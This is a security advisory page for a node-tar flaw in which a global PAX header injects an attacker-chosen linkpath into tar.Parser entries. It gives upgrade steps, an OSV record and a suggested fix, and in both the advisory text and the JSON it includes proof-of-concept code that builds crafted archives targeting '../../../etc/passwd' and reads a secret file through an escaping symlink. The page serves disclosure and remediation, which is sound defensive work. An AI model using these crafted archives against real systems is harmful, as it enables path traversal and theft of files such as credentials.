CVE-2026-140239: node-tar Global PAX Extended Header Injects Vulnerability

HIGH
Advisory Identifier: GHSA-ffhw-4r4q-5cwv
CWE-20 CWE-345
Published
Advisory Summary

CVE-2026-140239 is a HIGH global pax extended header injects vulnerability (CWE-20: Improper Input Validation) affecting node-tar libraries in the npm ecosystem. The issue involves global pax extended header injects attacker-controlled linkpath into tar.parser entries, bypassing strict-mode validation. Remediation is available by upgrading affected packages to version 8.0.0.

CVE-2026-140239 at a Glance

CVE Identifier CVE-2026-140239
GHSA Identifier GHSA-ffhw-4r4q-5cwv
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-20: Improper Input Validation
Affected Product node-tar
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-140239

To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 8.0.0
npm install tar@8.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls tar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140239, inspect your project dependencies using npm:

npm ls tar

Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.

Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A tar archive with a **Global Extended Header** (PAX type `g`) with a `linkpath` field injects that value into every entry returned by `tar.Parser` , including plain `File` and `Directory` entries, with **zero warnings under `strict: true`**. This happens because `header.js`'s `#slurp()` correctly excludes `linkpath` from global headers, but `read-entry.js`'s `#slurp()` does not apply the same filter. Any application that consumes `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink. --- ## Details There are two separate `#slurp()` implementations apply Global Extended Header (`g`-type) fields to parsed state, and they filter different fields. In `src/header.js`, `#slurp(ex, gex = false)` **correctly** excludes `linkpath` when `gex` is `true`: ```js // header.js (correct) if (k === 'linkpath' && gex) continue; ``` In `src/read-entry.js`, the equivalent method has **no such clause** — it only excludes `path`: ```js // read-entry.js (bug: linkpath is not excluded) if (k === 'path' && gex) continue; // linkpath from the GEX is not filtered here ``` The execution flow: 1. `parse.js` calls `Pax.parse(meta, gex, true)` → stores the GEX object, including the `linkpath` field 2. `header.js` decode runs `#slurp(gex, true)` → correctly skips `linkpath` → `header.linkpath` is empty 3. `consumeHeader()` checks `header.linkpath` (empty) → the `"linkpath forbidden in global header"` warning **never fires** 4. `ReadEntry` constructor runs `this.#slurp(gex, true)` → no `linkpath` filter → **`entry.linkpath` is set to the attacker's value with no warning raised** Confirmed against `tar@7.5.22`: - `node_modules/tar/dist/commonjs/read-entry.js` lines 122–132 (buggy `#slurp`) - `node_modules/tar/dist/commonjs/header.js` lines 184–194 (correct `#slurp`) **Scope note:** `tar`'s own extraction engine (`Unpack`, used by `tar.x()` / `tar.extract()`) has a separate guard, `STRIPABSOLUTEPATH`, that resolves `linkpath` relative to the entry's directory and rejects it if it escapes `cwd`. This guard fires **after** `ReadEntry` is constructed and blocks the traversal at extraction time: - `tar.x()` / `tar.extract()` → **not vulnerable** (confirmed: throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`) - `tar.Parser` / `tar.list()` direct consumers that trust `entry.linkpath` → **vulnerable** --- ## Proof of Concept Environment: Node.js v22.23.4, `tar@7.5.22`. Run: `npm install tar@7.5.22 && node <script>.js` ### poc-tar1.js — zero-warning injection via `tar.Parser` with `strict: true` ```js const tar = require('tar') function padBlock(buf) { const rem = buf.length % 512 return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)]) } function mkHeader(fields) { const b = Buffer.alloc(512, 0) const ws = (s, off, len) => b.write(String(s || '').slice(0, len).padEnd(len, '\0'), off, 'latin1') const wo = (n, off, len) => ws(n.toString(8).padStart(len - 1, '0') + '\0', off, len) ws(fields.path || 'file', 0, 100) wo(fields.mode || 0o644, 100, 8) wo(0, 108, 8); wo(0, 116, 8) wo(fields.size || 0, 124, 12) wo(Math.floor(Date.now() / 1000), 136, 12) b.write(' ', 148, 'latin1') ws(fields.type || '0', 156, 1) ws(fields.linkpath || '', 157, 100) b.write('ustar\000', 257, 'latin1') b.write('00', 263, 'latin1') let sum = 0 for (let i = 0; i < 512; i++) sum += b[i] wo(sum, 148, 8) return b } function mkGEX(kvpairs) { let body = '' for (const [k, v] of Object.entries(kvpairs)) { const keyval = ` ${k}=${v}\n` const len = String(keyval.length).length + keyval.length body += `${len} ${k}=${v}\n` } const bodyBuf = Buffer.from(body, 'utf8') const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' }) return Buffer.concat([hdr, padBlock(bodyBuf)]) } const archive = Buffer.concat([ mkGEX({ linkpath: '../../../etc/passwd' }), mkHeader({ path: 'README.md', type: '0', size: 0 }), mkHeader({ path: 'src/index.js', type: '0', size: 0 }), mkHeader({ path: 'package.json', type: '0', size: 0 }), Buffer.alloc(1024, 0), ]) const warnings = [] const parser = new tar.Parser({ strict: true, onwarn: (c, m) => warnings.push(m) }) parser.on('entry', entry => { console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`) entry.resume() }) parser.on('end', () => { console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings) }) parser.end(archive) ``` **Expected output:** ``` README.md | File | linkpath: ../../../etc/passwd src/index.js | File | linkpath: ../../../etc/passwd package.json | File | linkpath: ../../../etc/passwd warnings under strict:true: NONE ``` ### chain-tar1.js — arbitrary file read via a vulnerable downstream consumer Models a tool that uses `tar.Parser` to inspect an archive and then acts on `entry.linkpath` without checking it: ```js const tar = require('tar') const fs = require('fs') const path = require('path') const os = require('os') const tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-')) const cwd = path.join(tmpdir, 'extract') const secret = path.join(tmpdir, 'secret.txt') fs.mkdirSync(cwd) fs.writeFileSync(secret, 'db_password=hunter2\napi_key=sk-REAL\n') // Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above const archive = Buffer.concat([ mkGEX({ linkpath: '../../secret.txt' }), mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }), Buffer.alloc(1024, 0), ]) const parser = new tar.Parser() parser.on('entry', entry => { if (entry.type === 'SymbolicLink') { const target = entry.linkpath // GEX-injected value const linkAt = path.join(cwd, entry.path) fs.mkdirSync(path.dirname(linkAt), { recursive: true }) fs.symlinkSync(target, linkAt) const resolved = path.resolve(path.dirname(linkAt), target) console.log('symlink:', linkAt, '->', target) console.log('escapes cwd:', !resolved.startsWith(cwd)) if (fs.existsSync(resolved)) console.log('READ:', fs.readFileSync(resolved, 'utf8')) } entry.resume() }) parser.end(archive) ``` ### control-tar1-extraction-not-vulnerable.js — confirms `tar.x()` is not affected The same archive fed to `tar.x()` throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`. The `Unpack` layer's `STRIPABSOLUTEPATH` guard blocks the traversal at extraction time. --- ## Impact **CWE-20:** Improper Input Validation **CWE-345:** Insufficient Verification of Data Authenticity Impacted: any application or tool that uses `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build filesystem paths, create symlinks, or make routing decisions **without checking that the value stays within the expected directory**. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the `Parser` API. It also breaks `strict: true`, which is supposed to throw on dangerous archive contents. Not impacted: applications that only use `tar.x()` / `tar.extract()` for extraction, because `Unpack`'s `STRIPABSOLUTEPATH` guard rejects an escaping `linkpath` at that layer. Impact on a vulnerable consumer is **arbitrary file read and/or write** outside the extraction directory via a crafted symlink. --- ## Suggested Fix One line in `src/read-entry.ts`, inside `#slurp()`, adding the same filter that already exists in `src/header.ts`: ```ts // before (read-entry.ts) return !(v === null || v === undefined || (k === 'path' && gex)); // after return !(v === null || v === undefined || (k === 'path' && gex) || (k === 'linkpath' && gex)); ```

CVE-2026-140239 Affected node-tar Versions

1 component(s)
Fixed Versions:
8.0.0
Product / Package Ecosystem Affected Versions Fixed Version
tar
npm
< 8.0.0
8.0.0

References

Frequently Asked Questions

What is CVE-2026-140239?
CVE-2026-140239 is a security vulnerability in node-tar involving Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation under CWE-20: Improper Input Validation.
Which node-tar versions are affected?
Affected versions include releases prior to 8.0.0 across affected packages: tar.
What version fixes CVE-2026-140239?
Upgrading to 8.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tar affected?
Yes, tar is affected in releases prior to 8.0.0. Upgrade your dependency to 8.0.0 or later.
What CWE is associated with CVE-2026-140239?
CVE-2026-140239 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check npm dependencies for CVE-2026-140239?
Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ffhw-4r4q-5cwv",
  "modified" : "2026-12-02T01:25:07Z",
  "published" : "2026-12-02T01:25:07Z",
  "aliases" : [ "CVE-2026-140239" ],
  "summary" : "node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation",
  "details" : "## Summary\n\nA tar archive with a **Global Extended Header** (PAX type `g`) with a `linkpath` field injects that value into every entry returned by `tar.Parser` , including plain `File` and `Directory` entries, with **zero warnings under `strict: true`**. This happens because `header.js`'s `#slurp()` correctly excludes `linkpath` from global headers, but `read-entry.js`'s `#slurp()` does not apply the same filter. Any application that consumes `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.\n\n---\n\n## Details\n\nThere are two separate `#slurp()` implementations apply Global Extended Header (`g`-type) fields to parsed state, and they filter different fields.\n\nIn `src/header.js`, `#slurp(ex, gex = false)` **correctly** excludes `linkpath` when `gex` is `true`:\n\n```js\n// header.js (correct)\nif (k === 'linkpath' && gex) continue;\n```\n\nIn `src/read-entry.js`, the equivalent method has **no such clause** — it only excludes `path`:\n\n```js\n// read-entry.js (bug: linkpath is not excluded)\nif (k === 'path' && gex) continue;\n// linkpath from the GEX is not filtered here\n```\n\nThe execution flow:\n\n1. `parse.js` calls `Pax.parse(meta, gex, true)` → stores the GEX object, including the `linkpath` field\n2. `header.js` decode runs `#slurp(gex, true)` → correctly skips `linkpath` → `header.linkpath` is empty\n3. `consumeHeader()` checks `header.linkpath` (empty) → the `\"linkpath forbidden in global header\"` warning **never fires**\n4. `ReadEntry` constructor runs `this.#slurp(gex, true)` → no `linkpath` filter → **`entry.linkpath` is set to the attacker's value with no warning raised**\n\nConfirmed against `tar@7.5.22`:\n\n- `node_modules/tar/dist/commonjs/read-entry.js` lines 122–132 (buggy `#slurp`)\n- `node_modules/tar/dist/commonjs/header.js` lines 184–194 (correct `#slurp`)\n\n**Scope note:** `tar`'s own extraction engine (`Unpack`, used by `tar.x()` / `tar.extract()`) has a separate guard, `STRIPABSOLUTEPATH`, that resolves `linkpath` relative to the entry's directory and rejects it if it escapes `cwd`. This guard fires **after** `ReadEntry` is constructed and blocks the traversal at extraction time:\n\n- `tar.x()` / `tar.extract()` → **not vulnerable** (confirmed: throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`)\n- `tar.Parser` / `tar.list()` direct consumers that trust `entry.linkpath` → **vulnerable**\n\n---\n\n## Proof of Concept\n\nEnvironment: Node.js v22.23.4, `tar@7.5.22`. Run: `npm install tar@7.5.22 && node <script>.js`\n\n### poc-tar1.js — zero-warning injection via `tar.Parser` with `strict: true`\n\n```js\nconst tar = require('tar')\n\nfunction padBlock(buf) {\n  const rem = buf.length % 512\n  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])\n}\nfunction mkHeader(fields) {\n  const b = Buffer.alloc(512, 0)\n  const ws = (s, off, len) =>\n    b.write(String(s || '').slice(0, len).padEnd(len, '\\0'), off, 'latin1')\n  const wo = (n, off, len) =>\n    ws(n.toString(8).padStart(len - 1, '0') + '\\0', off, len)\n  ws(fields.path  || 'file', 0,   100)\n  wo(fields.mode  || 0o644,  100, 8)\n  wo(0, 108, 8); wo(0, 116, 8)\n  wo(fields.size  || 0,      124, 12)\n  wo(Math.floor(Date.now() / 1000), 136, 12)\n  b.write('        ', 148, 'latin1')\n  ws(fields.type  || '0',    156, 1)\n  ws(fields.linkpath || '',  157, 100)\n  b.write('ustar\\000', 257, 'latin1')\n  b.write('00',        263, 'latin1')\n  let sum = 0\n  for (let i = 0; i < 512; i++) sum += b[i]\n  wo(sum, 148, 8)\n  return b\n}\nfunction mkGEX(kvpairs) {\n  let body = ''\n  for (const [k, v] of Object.entries(kvpairs)) {\n    const keyval = ` ${k}=${v}\\n`\n    const len = String(keyval.length).length + keyval.length\n    body += `${len} ${k}=${v}\\n`\n  }\n  const bodyBuf = Buffer.from(body, 'utf8')\n  const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' })\n  return Buffer.concat([hdr, padBlock(bodyBuf)])\n}\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: '../../../etc/passwd' }),\n  mkHeader({ path: 'README.md',    type: '0', size: 0 }),\n  mkHeader({ path: 'src/index.js', type: '0', size: 0 }),\n  mkHeader({ path: 'package.json', type: '0', size: 0 }),\n  Buffer.alloc(1024, 0),\n])\n\nconst warnings = []\nconst parser = new tar.Parser({ strict: true, onwarn: (c, m) => warnings.push(m) })\nparser.on('entry', entry => {\n  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)\n  entry.resume()\n})\nparser.on('end', () => {\n  console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings)\n})\nparser.end(archive)\n```\n\n**Expected output:**\n\n```\nREADME.md    | File | linkpath: ../../../etc/passwd\nsrc/index.js | File | linkpath: ../../../etc/passwd\npackage.json | File | linkpath: ../../../etc/passwd\nwarnings under strict:true: NONE\n```\n\n### chain-tar1.js — arbitrary file read via a vulnerable downstream consumer\n\nModels a tool that uses `tar.Parser` to inspect an archive and then acts on `entry.linkpath` without checking it:\n\n```js\nconst tar  = require('tar')\nconst fs   = require('fs')\nconst path = require('path')\nconst os   = require('os')\n\nconst tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-'))\nconst cwd    = path.join(tmpdir, 'extract')\nconst secret = path.join(tmpdir, 'secret.txt')\nfs.mkdirSync(cwd)\nfs.writeFileSync(secret, 'db_password=hunter2\\napi_key=sk-REAL\\n')\n\n// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: '../../secret.txt' }),\n  mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }),\n  Buffer.alloc(1024, 0),\n])\n\nconst parser = new tar.Parser()\nparser.on('entry', entry => {\n  if (entry.type === 'SymbolicLink') {\n    const target   = entry.linkpath   // GEX-injected value\n    const linkAt   = path.join(cwd, entry.path)\n    fs.mkdirSync(path.dirname(linkAt), { recursive: true })\n    fs.symlinkSync(target, linkAt)\n    const resolved = path.resolve(path.dirname(linkAt), target)\n    console.log('symlink:', linkAt, '->', target)\n    console.log('escapes cwd:', !resolved.startsWith(cwd))\n    if (fs.existsSync(resolved))\n      console.log('READ:', fs.readFileSync(resolved, 'utf8'))\n  }\n  entry.resume()\n})\nparser.end(archive)\n```\n\n### control-tar1-extraction-not-vulnerable.js — confirms `tar.x()` is not affected\n\nThe same archive fed to `tar.x()` throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`. The `Unpack` layer's `STRIPABSOLUTEPATH` guard blocks the traversal at extraction time.\n\n---\n\n## Impact\n\n**CWE-20:** Improper Input Validation **CWE-345:** Insufficient Verification of Data Authenticity\n\nImpacted: any application or tool that uses `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build filesystem paths, create symlinks, or make routing decisions **without checking that the value stays within the expected directory**. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the `Parser` API. It also breaks `strict: true`, which is supposed to throw on dangerous archive contents.\n\nNot impacted: applications that only use `tar.x()` / `tar.extract()` for extraction, because `Unpack`'s `STRIPABSOLUTEPATH` guard rejects an escaping `linkpath` at that layer.\n\nImpact on a vulnerable consumer is **arbitrary file read and/or write** outside the extraction directory via a crafted symlink.\n\n---\n\n## Suggested Fix\n\nOne line in `src/read-entry.ts`, inside `#slurp()`, adding the same filter that already exists in `src/header.ts`:\n\n```ts\n// before (read-entry.ts)\nreturn !(v === null || v === undefined || (k === 'path' && gex));\n\n// after\nreturn !(v === null || v === undefined || (k === 'path' && gex) || (k === 'linkpath' && gex));\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-ffhw-4r4q-5cwv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140239"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/f351e5b4a8916bc8c8f821d0ad926a17d26ea237"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-345" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-02T01:25:07Z",
    "nvd_published_at" : "2026-12-01T18:17:27Z"
  }
}